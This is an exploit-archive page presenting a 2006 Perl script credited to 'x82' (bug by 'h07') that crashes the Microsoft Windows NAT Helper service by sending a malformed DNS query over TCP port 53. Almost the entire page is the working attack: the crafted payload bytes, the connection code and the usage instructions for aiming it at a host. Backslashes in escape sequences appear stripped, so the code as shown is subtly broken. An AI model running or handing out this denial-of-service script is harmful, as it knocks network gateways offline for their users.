MS Windows NAT Helper Components Remote DoS Exploit (perl)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MS Windows NAT Helper Components Remote DoS Exploit (perl)
# Published : 2006-10-30
# Author : x82
# Previous Title : Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit
# Next Title : MS Windows NAT Helper Components (ipnathlp.dll) Remote DoS Exploit

#!/usr/bin/perl
##
## Microsoft Windows NAT Helper Components Remote DoS Exploit (2)
## **************************************************************
##
## .details
## --------
## Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
##
## .info
## -----
## code by x82 <x82_ [at] bk [dot] ru>
## bug by h07  <h07 [at] interia [dot] pl>
##
## .greetz
## -------
## ... goes out to triple6, wolf, lux2, EaTh, darkkilla, 2letterman .. ;)
##
##

use warnings;
use diagnostics;
use strict;

use IO::Socket;


my $host = $ARGV[0]; # 192.168.0.1
my $port = 53; # standard port
my $payload =
# by h07
"x6cxb6".
"x01x00".
"x00x00".
"x00x00".
"x00x00".
"x00x00". # <-- Bug is here 0x0000
"x03x77x77x77".
"x06x67x6fx6f".
"x67x6cx65x03".
"x63x6fx6dx00".
"x00x01".
"x00x01";

my $length = length($payload);

if((! $host || $host !~ /^d{1,3}(.d{1,3}){3}$/))
{
	print "n----------------------------------------------------------------------n";
	print "Microsoft Windows NAT Helper Components Remote DoS Exploitn";
	print "exploit by x82 <x82_ [at] bk [dot] ru>n";
	print "bug discovered by h07 <h07 [at] interia [dot] pl>n";
	print "----------------------------------------------------------------------";
	print "n";
	print "usage: perl $0 192.168.0.1n";
	exit;
}

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port);
unless ($socket) { die "[-] Can't connect to $host" }

print "n";
print "[+] connection establishedn";
print "[*] Sending payload ..." . "(size: $length)n";
sleep(5);

print $socket $payload;

print "[+] ok - payload sentn";


## 29.10.2006

# www.Syue.com [2006-10-30]